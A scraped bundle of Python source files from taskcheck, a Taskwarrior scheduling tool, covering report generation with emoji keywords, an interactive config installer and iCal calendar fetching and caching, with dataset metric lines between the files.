mark_end_date( due_date, end_date, start_date, scheduling_note, id, description=None, taskrc=None ): start_end_fields = [f"scheduled:{start_date}", f"completion_date:{end_date}"] env = get_task_env(taskrc) subprocess.run( [ "task", str(id), "modify", *start_end_fields, f'scheduling:"{scheduling_note}"', ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env=env, ) if due_date is not None and end_date > due_date: # print in bold red using ANSI escape codes description = "('" + description + "')" if description is not None else "" print(f"\033[1;31mTask {id} {description} may not be completed on time\033[0m") def get_calendars(config, verbose=False, force_update=False): calendars = [] for calname in config["calendars"]: calendar = config["calendars"][calname] calendar = ical_to_dict( calendar["url"], config["scheduler"]["days_ahead"], all_day=calendar["event_all_day_is_blocking"], expiration=calendar["expiration"], verbose=verbose, tz_name=calendar.get("timezone"), force_update=force_update, ) calendar.sort(key=lambda e: e["start"]) calendars.append(calendar) if verbose: print(f"Loaded {len(calendars)} calendars") return calendars
7,939
common
py
en
python
code
{"qsc_code_num_words": 1019, "qsc_code_num_chars": 7939.0, "qsc_code_mean_word_length": 4.4828263, "qsc_code_frac_words_unique": 0.20412169, "qsc_code_frac_chars_top_2grams": 0.04443958, "qsc_code_frac_chars_top_3grams": 0.01707531, "qsc_code_frac_chars_top_4grams": 0.02101576, "qsc_code_frac_chars_dupe_5grams": 0.20271454, "qsc_code_frac_chars_dupe_6grams": 0.12412434, "qsc_code_frac_chars_dupe_7grams": 0.09303853, "qsc_code_frac_chars_dupe_8grams": 0.0293345, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01024192, "qsc_code_frac_chars_whitespace": 0.28668598, "qsc_code_size_file_byte": 7939.0, "qsc_code_num_lines": 228.0, "qsc_code_num_chars_line_max": 113.0, "qsc_code_num_chars_line_mean": 34.82017544, "qsc_code_frac_chars_alphabet": 0.79639767, "qsc_code_frac_chars_comments": 0.05743796, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.10326087, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00543478, "qsc_code_frac_chars_string_length": 0.09386717, "qsc_code_frac_chars_long_word_length": 0.01700589, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.05978261, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.04347826, "qsc_codepython_frac_lines_simplefunc": 0.010869565217391304, "qsc_codepython_score_lines_no_logic": 0.1576087, "qsc_codepython_frac_lines_print": 0.02717391}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
00sapo/taskcheck
taskcheck/report.py
import random import sys from datetime import timedelta from datetime import datetime import json import re import subprocess from rich import print from rich.console import Console from rich.table import Table from rich.text import Text from rich.panel import Panel from random_unicode_emoji import random_emoji DEFAULT_EMOJI_KEYWORDS = { "meet": ":busts_in_silhouette:", "incontr": ":busts_in_silhouette:", "rencontr": ":busts_in_silhouette:", "reun": ":busts_in_silhouette:", "treff": ":busts_in_silhouette:", "review": ":mag_right:", "revis": ":mag_right:", "révis": ":mag_right:", "überprüf": ":mag_right:", "write": ":pencil2:", "scriv": ":pencil2:", "écri": ":pencil2:", "escrib": ":pencil2:", "schreib": ":pencil2:", "read": ":books:", "legg": ":books:", "lis": ":books:", "le": ":books:", "les": ":books:", "posta": ":email:", "courri": ":email:", "corre": ":email:", "mail": ":email:", "call": ":telephone_receiver:", "chiam": ":telephone_receiver:", "appel": ":telephone_receiver:", "llam": ":telephone_receiver:", "ruf": ":telephone_receiver:", "présent": ":chart_with_upwards_trend:", "present": ":chart_with_upwards_trend:", "präsent": ":chart_with_upwards_trend:", "learn": ":mortar_board:", "impar": ":mortar_board:", "appren": ":mortar_board:", "aprend": ":mortar_board:", "lern": ":mortar_board:", "search": ":mag:", "cerc": ":mag:", "cherch": ":mag:", "busc": ":mag:", "such": ":mag:", "idea": ":bulb:", "idé": ":bulb:", "ide": ":bulb:", "break": ":coffee:", "paus": ":coffee:", "descans": ":coffee:", "lunch": ":fork_and_knife:", "pranz": ":fork_and_knife:", "déjeun": ":fork_and_knife:", "almorz": ":fork_and_knife:", "mittag": ":fork_and_knife:", "test": ":test_tube:", "develop": ":hammer_and_wrench:", "svilupp": ":hammer_and_wrench:", "développ": ":hammer_and_wrench:", "desarroll": ":hammer_and_wrench:", "entwickl": ":hammer_and_wrench:", "disegn": ":art:", "diseñ": ":art:", "design": ":art:", "dafar": ":memo:", "tarea": ":memo:", "todo": ":memo:", "bug": ":beetle:", "käfer": ":beetle:", "fix": ":wrench:", "corregg": ":wrench:", "répar": ":wrench:", "beheb": ":wrench:", "urgent": ":exclamation:", "dringend": ":exclamation:", "deadlin": ":hourglass_flowing_sand:", "scadenz": ":hourglass_flowing_sand:", "délais": ":hourglass_flowing_sand:", "fechalim": ":hourglass_flowing_sand:", "frist": ":hourglass_flowing_sand:", "updat": ":arrows_counterclockwise:", "aggiorn": ":arrows_counterclockwise:", "mett": ":arrows_counterclockwise:", "actualiz": ":arrows_counterclockwise:", "aktualisier": ":arrows_counterclockwise:", "clean": ":broom:", "pul": ":broom:", "nettoy": ":broom:", "limpi": ":broom:", "reinig": ":broom:", "deploy": ":rocket:", "rilasc": ":rocket:", "déploy": ":rocket:", "despleg": ":rocket:", "bereitstell": ":rocket:", "festegg": ":tada:", "célébr": ":tada:", "celebr": ":tada:", "feier": ":tada:", "research": ":microscope:", "ricerc": ":microscope:", "recherch": ":microscope:", "investig": ":microscope:", "forsch": ":microscope:", "shop": ":shopping_cart:", "achet": ":shopping_cart:", "compr": ":shopping_cart:", "einkauf": ":shopping_cart:", "social": ":handshake:", "sozial": ":handshake:", "exercis": ":running_shoe:", "eserciz": ":running_shoe:", "exercic": ":running_shoe:", "ejerc": ":running_shoe:", "übun": ":running_shoe:", "évènement": ":calendar:", "event": ":calendar:", "movie": ":clapper:", "pelicul": ":clapper:", "film": ":clapper:", "music": ":musical_note:", "musik": ":musical_note:", "travel": ":airplane:", "viagg": ":airplane:", "voyag": ":airplane:", "viaj": ":airplane:", "reis": ":airplane:", "home": ":house:", "mais": ":house:", "cas": ":house:", "haus": ":house:", "docu": ":notebook:", "dokum": ":notebook:", "backup": ":floppy_disk:", "salvat": ":floppy_disk:", "sauveg": ":floppy_disk:", "copiaseg": ":floppy_disk:", "sicher": ":floppy_disk:", "debug": ":bug:", "débug": ":bug:", "note": ":spiral_notepad:", "not": ":spiral_notepad:", "focus": ":dart:", "concentr": ":dart:", "konzentrier": ":dart:", "codic": ":computer:", "cod": ":computer:", "code": ":computer:", "serveur": ":cloud:", "servidor": ":cloud:", "server": ":cloud:", "client": ":briefcase:", "priorid": ":bangbang:", "priorit": ":bangbang:", "star": ":star:", "stell": ":star:", "étoil": ":star:", "estrell": ":star:", "stern": ":star:", "critic": ":fire:", "kritisch": ":fire:", } def get_tasks(config, tasks, year, month, day): regex = re.compile(rf"{year:04d}-{month:02d}-{day:02d} - ([PDTHM0-9]+)") valid_tasks = [] for task in tasks: for line in task["scheduling"].split("\n"): m = regex.match(line) if m: due = task.get("due", "") if due: due = datetime.strptime(due, "%Y%m%dT%H%M%SZ") due = due - datetime.today() valid_tasks.append( { "id": task["id"], "project": task.get("project", ""), "description": task["description"], "urgency": task["urgency"], "scheduling_day": f"{year}-{month}-{day}", "scheduling_hours": m.group(1), **{ attr: task.get(attr, "") for attr in config.get("additional_attributes", []) }, } ) valid_tasks = sorted(valid_tasks, key=lambda x: x["urgency"], reverse=True) return valid_tasks def get_taskwarrior_date(date, _retry=True, taskrc=None): from taskcheck.common import get_task_env env = get_task_env(taskrc) date = subprocess.run( ["task", "calc", date], capture_output=True, text=True, env=env, ) date = date.stdout.strip() try: date = datetime.strptime(date, "%Y-%m-%dT%H:%M:%S") except Exception as _: if _retry: return get_taskwarrior_date("today+" + date, False, taskrc) else: print( "Please provide a valid date. Check with `task calc` that your date is in the format YYYY-MM-DDTHH:MM:SS", file=sys.stderr, ) exit(2) return date def get_days_in_constraint(constraint, taskrc=None): current_date = datetime.today().replace(hour=0, minute=0, second=0, microsecond=0) constraint = get_taskwarrior_date(constraint, taskrc=taskrc) while current_date <= constraint: yield current_date.year, current_date.month, current_date.day current_date += timedelta(days=1) def tostring(value): if isinstance(value, bool): return "Yes" if value else "No" elif isinstance(value, datetime): return value.strftime("%Y-%m-%d %H:%M") elif isinstance(value, str): try: date = datetime.strptime(value, "%Y%m%dT%H%M%SZ") return date.strftime("%Y-%m-%d %H:%M") except ValueError: return value else: return str(value) def get_unplanned_tasks(config, tasks, taskrc=None): from taskcheck.common import get_task_env env = get_task_env(taskrc) tasks = subprocess.run( ["task", "scheduling:", "status:pending", "export"], capture_output=True, text=True, env=env, ) tasks = json.loads(tasks.stdout) return tasks def generate_report(config, constraint, verbose=False, force_update=False, taskrc=None, scheduling_results=None): config = config["report"] console = Console() if scheduling_results is not None: # Use provided scheduling results (from dry-run mode) tasks = scheduling_results else: # Fetch tasks from Taskwarrior normally tasks = fetch_tasks(taskrc) if config.get("include_unplanned"): unplanned_tasks = get_unplanned_tasks(config, tasks, taskrc=taskrc) display_unplanned_tasks(console, config, unplanned_tasks) for year, month, day in get_days_in_constraint(constraint, taskrc=taskrc): this_day_tasks = get_tasks(config, tasks, year, month, day) display_date_header(console, year, month, day) display_tasks_table(console, config, this_day_tasks) def fetch_tasks(taskrc=None): """Fetch tasks from the task manager and return them as a JSON object.""" from taskcheck.common import get_task_env env = get_task_env(taskrc) tasks = subprocess.run( ["task", "scheduling~.", "(", "+PENDING", "or", "+WAITING", ")", "export"], capture_output=True, text=True, env=env, ) return json.loads(tasks.stdout) def display_date_header(console, year, month, day): """Display a date header with a calendar emoji.""" date_str = f":calendar: [bold cyan]{year}-{month}-{day}[/bold cyan]" console.print(Panel(date_str, style="bold blue", expand=False)) def display_tasks_table(console, config, tasks): """Display a table of tasks for a specific day.""" if tasks: table = build_tasks_table(config, tasks) console.print(table) else: console.print("[italic dim]No tasks scheduled for this day.[/italic dim]") def build_tasks_table(config, tasks): """Build a Rich table for displaying tasks.""" table = Table(show_header=True, header_style="bold blue") table.add_column("Task", style="dim", width=12) table.add_column("Project", style="dim", width=12) table.add_column("Description") table.add_column("Time", justify="right") for attr in config.get("additional_attributes", []): table.add_column(attr.capitalize(), justify="right") for task in tasks: task_id = f"[bold green]#{task['id']}[/bold green]" project = task.get("project", "") description = Text(task["description"], style="italic") hours = f"[yellow]{task['scheduling_hours']}[/yellow]" emoji = get_task_emoji(config, task) table.add_row( f"{emoji} {task_id}", project, description, hours, *[ tostring(task.get(attr, "")) for attr in config.get("additional_attributes", []) ], ) return table def get_task_emoji(config, task): """Get an emoji based on keywords in the task description.""" for keyword in config.get("emoji_keywords", []): if keyword in task["description"].lower(): return config["emoji_keywords"][keyword] for keyword, emoji in DEFAULT_EMOJI_KEYWORDS.items(): if keyword in task["description"].lower(): return emoji # sum the unicode numbers of each letter in the description and use it as seed to get a random unicode # emoji seed = sum(ord(char) for char in task["description"]) emoji = "" # seed the next call to random.choice random.seed(seed) emoji = random_emoji()[0] # some emoji coutn for more than one character and misbehave the tables of rich if len(emoji) > 1: while len(emoji) != 1: emoji = random_emoji()[0] return emoji def display_unplanned_tasks(console, config, tasks): """Display unplanned tasks if any are found.""" if tasks: table = build_unplanned_tasks_table(config, tasks) console.print(Panel("Unplanned Tasks", style="bold blue", expand=False)) console.print(table) else: console.print( Panel( "[italic dim]No unplanned tasks found.[/italic dim]", style="bold blue", expand=False, ) ) def build_unplanned_tasks_table(config, tasks): """Build a Rich table for displaying unplanned tasks.""" table = Table(show_header=True, header_style="bold blue") table.add_column("Task", style="dim", width=12) table.add_column("Project", style="dim", width=12) table.add_column("Description") for attr in config.get("additional_attributes_unplanned", []): table.add_column(attr.capitalize(), justify="right") for task in tasks: task_id = f"[bold green]#{task['id']}[/bold green]" project = task.get("project", "") description = Text(task["description"], style="italic") emoji = get_task_emoji(config, task) table.add_row( f"{emoji} {task_id}", project, description, *[ tostring(task.get(attr, "")) for attr in config.get("additional_attributes_unplanned", []) ], ) return table
13,198
report
py
en
python
code
{"qsc_code_num_words": 1445, "qsc_code_num_chars": 13198.0, "qsc_code_mean_word_length": 5.08442907, "qsc_code_frac_words_unique": 0.29273356, "qsc_code_frac_chars_top_2grams": 0.02286648, "qsc_code_frac_chars_top_3grams": 0.01714986, "qsc_code_frac_chars_top_4grams": 0.01020825, "qsc_code_frac_chars_dupe_5grams": 0.30393358, "qsc_code_frac_chars_dupe_6grams": 0.27466993, "qsc_code_frac_chars_dupe_7grams": 0.22349258, "qsc_code_frac_chars_dupe_8grams": 0.19559004, "qsc_code_frac_chars_dupe_9grams": 0.16619028, "qsc_code_frac_chars_dupe_10grams": 0.16619028, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00324083, "qsc_code_frac_chars_whitespace": 0.25185634, "qsc_code_size_file_byte": 13198.0, "qsc_code_num_lines": 416.0, "qsc_code_num_chars_line_max": 123.0, "qsc_code_num_chars_line_mean": 31.72596154, "qsc_code_frac_chars_alphabet": 0.74083451, "qsc_code_frac_chars_comments": 0.04993181, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.20277778, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00277778, "qsc_code_frac_chars_string_length": 0.31028965, "qsc_code_frac_chars_long_word_length": 0.05672908, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.03611111, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.04444444, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.12222222, "qsc_codepython_frac_lines_print": 0.02222222}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
00sapo/taskcheck
taskcheck/install.py
import subprocess from taskcheck.common import config_dir default_config = """ [time_maps] [time_maps.work] monday = [[9, 12.30], [14, 17]] tuesday = [[9, 12.30], [14, 17]] wednesday = [[9, 12.30], [14, 17]] thursday = [[9, 12.30], [14, 17]] friday = [[9, 12.30], [14, 17]] [scheduler] days_ahead = 365 weight_urgency = 1.0 [report] include_unplanned = true additional_attributes = [] additional_attributes_unplanned = [] emoji_keywords = {} """ def apply_config(key, value): subprocess.run( [ "task", "rc.confirmation=0", "config", key, value, ], stdout=subprocess.DEVNULL, ) def install(): """ Adds the required and optional settings explaining them to the user. Also initialize the config file with some sane default. """ # Define the required configurations required_configs = [ ("uda.time_map.type", "string"), ("uda.time_map.label", "Time Map"), ("uda.time_map.default", "work"), ("uda.estimated.type", "duration"), ("uda.estimated.label", "Estimated Time"), ("uda.completion_date.type", "date"), ("uda.completion_date.label", "Expected Completion Date"), ("uda.scheduling.type", "string"), ("uda.scheduling.label", "Scheduling"), ("uda.min_block.type", "numeric"), ("uda.min_block.label", "Minimum Time Block"), ("uda.min_block.default", "2"), ("recurrence.confirmation", "no"), ] # Optional configurations optional_configs = [ ("urgency.uda.estimated.PT1H.coefficient", "1"), ("urgency.uda.estimated.PT2H.coefficient", "2.32"), ("urgency.uda.estimated.PT3H.coefficient", "3.67"), ("urgency.uda.estimated.PT4H.coefficient", "4.64"), ("urgency.uda.estimated.PT5H.coefficient", "5.39"), ("urgency.uda.estimated.PT6H.coefficient", "6.02"), ("urgency.uda.estimated.PT7H.coefficient", "6.56"), ("urgency.uda.estimated.PT8H.coefficient", "7.03"), ("urgency.uda.estimated.PT9H.coefficient", "7.45"), ("urgency.uda.estimated.PT10H.coefficient", "7.82"), ("urgency.uda.estimated.PT11H.coefficient", "8.16"), ("urgency.uda.estimated.PT12H.coefficient", "8.47"), ("urgency.uda.estimated.PT13H.coefficient", "8.75"), ("urgency.uda.estimated.PT14H.coefficient", "9.01"), ("urgency.uda.estimated.PT15H.coefficient", "9.25"), ("urgency.uda.estimated.PT16H.coefficient", "9.47"), ("urgency.uda.estimated.PT17H.coefficient", "9.68"), ("urgency.uda.estimated.PT18H.coefficient", "9.87"), ("urgency.uda.estimated.PT19H.coefficient", "10.05"), ("urgency.uda.estimated.PT20H.coefficient", "10.22"), ("urgency.uda.estimated.PT21H.coefficient", "10.38"), ("urgency.uda.estimated.PT22H.coefficient", "10.53"), ("urgency.uda.estimated.PT23H.coefficient", "10.67"), ("urgency.uda.estimated.P1D.coefficient", "10.80"), ("urgency.uda.estimated.P1DT1H.coefficient", "10.93"), ("urgency.uda.estimated.P1DT2H.coefficient", "11.05"), ("urgency.uda.estimated.P1DT3H.coefficient", "11.16"), ("urgency.uda.estimated.P1DT4H.coefficient", "11.27"), ("urgency.uda.estimated.P1DT5H.coefficient", "11.37"), ("urgency.uda.estimated.P1DT6H.coefficient", "11.47"), ("urgency.uda.estimated.P1DT7H.coefficient", "11.56"), ("urgency.uda.estimated.P1DT8H.coefficient", "11.65"), ("urgency.uda.estimated.P1DT9H.coefficient", "11.73"), ("urgency.uda.estimated.P1DT10H.coefficient", "11.81"), ("urgency.uda.estimated.P1DT11H.coefficient", "11.89"), ("urgency.uda.estimated.P1DT12H.coefficient", "11.96"), ( "report.ready.columns", "id,start.age,entry.age,depends.indicator,priority,project,tags,recur.indicator,scheduled.relative,due.relative,until.remaining,description,urgency", ), ("journal.info", "0"), ("urgency.inherit", "1"), ("urgency.blocked.coefficient", "0"), ("urgency.blocking.coefficient", "0"), ("urgency.waiting.coefficient", "0"), ("urgency.scheduled.coefficient", "0"), ] answer = input( """ _________________________________________________________________________________________ Required configuration for taskcheck includes: - 3 UDA fields - turning off confirmation for recurring tasks Do you want to continue? [y/N] """ ) if answer.lower() not in ["y", "yes"]: return answer = input( """ _________________________________________________________________________________________ Optional configuration for taskcheck includes: - urgency coefficients for estimated time (up to 36 hour duration) - better `ready` report columns - turning off printing journal logs in the task details - turning on urgency inheritance from dependant tasks and disabling blocked and blocking urgency coefficients (as recommended by Taskwarrior documentation) - turning off urgency for waiting and scheduled tasks (taskcheck already take them into account) Do you want to apply optional configurations? [y/N] """ ) if answer.lower() not in ["y", "yes"]: configs = required_configs else: configs = required_configs + optional_configs # Apply configurations using apply_config try: for key, value in configs: apply_config(key, value) print("Taskwarrior configurations have been applied successfully.") except Exception as e: print(f"Failed to apply configurations: {e}") answer = input( """ _________________________________________________________________________________________ Do you want to create a default config file for taskcheck? [y/N] """ ) if answer.lower() not in ["y", "yes"]: return config_dir.mkdir(parents=True, exist_ok=True) config_file = config_dir / "taskcheck.toml" if config_file.exists(): print(f"Config file already exists at {config_file}") return with open(config_file, "w") as f: f.write(default_config) print(f"Default config file created at {config_file}") if __name__ == "__main__": install()
6,305
install
py
en
python
code
{"qsc_code_num_words": 701, "qsc_code_num_chars": 6305.0, "qsc_code_mean_word_length": 5.34094151, "qsc_code_frac_words_unique": 0.36233951, "qsc_code_frac_chars_top_2grams": 0.12179487, "qsc_code_frac_chars_top_3grams": 0.18269231, "qsc_code_frac_chars_top_4grams": 0.00934829, "qsc_code_frac_chars_dupe_5grams": 0.03445513, "qsc_code_frac_chars_dupe_6grams": 0.0224359, "qsc_code_frac_chars_dupe_7grams": 0.0224359, "qsc_code_frac_chars_dupe_8grams": 0.0224359, "qsc_code_frac_chars_dupe_9grams": 0.0224359, "qsc_code_frac_chars_dupe_10grams": 0.01602564, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.04975124, "qsc_code_frac_chars_whitespace": 0.20301348, "qsc_code_size_file_byte": 6305.0, "qsc_code_num_lines": 169.0, "qsc_code_num_chars_line_max": 162.0, "qsc_code_num_chars_line_mean": 37.30769231, "qsc_code_frac_chars_alphabet": 0.69532338, "qsc_code_frac_chars_comments": 0.03552736, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.07258065, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00806452, "qsc_code_frac_chars_string_length": 0.56571655, "qsc_code_frac_chars_long_word_length": 0.35827395, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.01612903, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.01612903, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.05645161, "qsc_codepython_frac_lines_print": 0.03225806}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 1, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
00sapo/taskcheck
taskcheck/ical.py
import hashlib import json from icalendar import Calendar from datetime import datetime, timedelta from dateutil.rrule import rruleset, rrulestr import requests from pathlib import Path import appdirs import zoneinfo import time CACHE = Path(appdirs.user_cache_dir("taskcheck")) def fetch_ical_data(url): response = requests.get(url) response.raise_for_status() return response.text def parse_ical_events(ical_text, days_ahead, all_day, tz_name=None, verbose=False): cal = Calendar.from_ical(ical_text) today = datetime.now().date() end_date = today + timedelta(days=days_ahead) events = [] exceptions = set() for component in cal.walk(): if component.name == "VEVENT": event_start = component.get("dtstart").dt event_end = component.get("dtend").dt recurrence_rule = component.get("rrule") recurrence_id = component.get("recurrence-id") # skip all-day events if not requested is_all_day = not hasattr(event_start, "hour") or event_start == event_end if is_all_day: if not all_day: continue else: # all-day events should block since 00:00 and end at 23:59:59 event_start = datetime( event_start.year, event_start.month, event_start.day, 0, 0, 0, 0, ) event_end = event_start + timedelta(days=1) - timedelta(seconds=1) if recurrence_id: if end_date >= recurrence_id.dt.date() >= today: # this was an occurrence of a recurring event # but has been moved, let's record the exception that must be removed exceptions.add(recurrence_id.dt.isoformat()) occurrences = rruleset() if recurrence_rule: # avoid handling rules that are already ended # and don't create events beyond end_date until = recurrence_rule.get("UNTIL") if until is not None: until = until[0].date() if until < today: continue rrule = rrulestr( str(recurrence_rule.to_ical(), "utf-8"), dtstart=event_start, ) occurrences.rrule(rrule) # type: ignore # exceptions to recurring events excdates = component.get("exdate") if excdates is not None: if isinstance(excdates, list): # concatenate all the .dts into one list excdates = [e for exdate in excdates for e in exdate.dts] else: excdates = excdates.dts for excdate in excdates: if end_date >= excdate.dt.date() >= today: exceptions.add(excdate.dt.isoformat()) else: # if event is not recurring, add it as a single event if event_start.date() >= today and event_end.date() <= end_date: occurrences.rdate(event_start) for occurrence in occurrences: if tz_name is not None: occurrence = occurrence.astimezone(zoneinfo.ZoneInfo(tz_name)) end = occurrence + (event_end - event_start) if occurrence.date() >= today and end.date() <= end_date: events.append( { # "summary": component.get("summary"), "start": occurrence.isoformat(), "end": end.isoformat(), } ) elif end.date() > end_date: break with_exc_len = len(events) events = [event for event in events if event["start"] not in exceptions] if verbose: print( f"Removed {with_exc_len - len(events)} events that are exceptions to recurring events" ) events.sort(key=lambda x: x["start"]) return events def get_cache_filename(url): hash_object = hashlib.sha256(url.encode()) return CACHE / f"{hash_object.hexdigest()}.json" def ical_to_dict( url, days_ahead=7, all_day=False, expiration=0.25, verbose=False, tz_name=None, force_update=False ): CACHE.mkdir(exist_ok=True, parents=True) cache_file = CACHE / get_cache_filename(url) current_time = time.time() # Check if cache file exists and is not expired if cache_file.exists() and not force_update: cache_mtime = cache_file.stat().st_mtime if current_time - cache_mtime < expiration * 3600: with open(cache_file, "r") as f: events = json.load(f) if verbose: print("Loaded events from cache") return events # Fetch and parse iCal data ttt = time.time() ical_text = fetch_ical_data(url) if verbose: print("Time taken to fetch ical data: ", time.time() - ttt) ttt = time.time() events = parse_ical_events( ical_text, days_ahead, all_day, tz_name=tz_name, verbose=verbose ) if verbose: print("Time taken to parse ical data: ", time.time() - ttt) # Save events to cache with open(cache_file, "w") as f: json.dump(events, f) return events
5,641
ical
py
en
python
code
